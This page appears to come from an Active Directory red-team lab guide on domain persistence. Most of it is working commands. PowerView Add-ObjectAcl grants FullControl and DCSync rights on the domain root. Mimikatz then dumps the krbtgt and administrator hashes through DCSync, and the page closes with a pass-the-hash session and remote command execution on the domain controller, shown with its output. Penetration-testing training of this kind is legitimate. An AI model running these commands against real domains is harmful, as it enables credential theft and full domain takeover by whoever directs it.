> For the complete documentation index, see [llms.txt](https://rabakuku.gitbook.io/ad-red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rabakuku.gitbook.io/ad-red-team/iv.-domain-persistence-and-dominance/persistence-acls-rights-abuse.md).

# Persistence ACLs- Rights Abuse

There are even more interesting ACLs which can be abused. 

For example, with DA privileges, the ACL for the domain root can be modified to provide useful rights like FullControl or the ability to run "**DCSync**".

```c
#Get the Distinguished Name 
Import-module .\powerview.ps1
Get-NetOU


#Add FullControl rights: 
Import-module .\powerview.ps1
Add-ObjectAcl -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalSamAccountName student529 -Rights All -Verbose


#Add rights for DCSync:
Add-ObjectAcl -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalSamAccountName student529 -Rights DCSync -Verbose


#Execute DCSync from Powershell of student529 regular:
#This will extract hashes of the user invoked
Import-module invoke-mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\administator"'

#if we get the hash we can do the following:
#run Powershell as local admin
Import-module invoke-mimikatz
Invoke-Mimikatz -Command '"sekurlsa::pth /user:administrator /domain:dollarcorp.moneycorp.local /ntlm:a29f7623fd11550def0192de9246f46b /run:powershell.exe"'

PS C:\Windows\system32> Invoke-Command -Computer dcorp-dc -ScriptBlock{whoami}
dcorp\administrator
```

**Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\Administrator"'**

![](https://1674371845-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MSSpbQYs6kHmxrBTC8C%2F-MTOIE3OahS_m8vLae6t%2F-MTOK2fRfHnao4xyQ25G%2Fimage.png?alt=media\&token=f908142c-840c-4ccb-a13b-5e474550624a)

**How it looks from AD**

![](https://1674371845-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MSSpbQYs6kHmxrBTC8C%2F-MTOK4t7o6H4NWcXIi8L%2F-MTOKfXnLriyR6tWu_9y%2Fimage.png?alt=media\&token=2a74c094-5011-40dc-b02a-64d44f2972fe)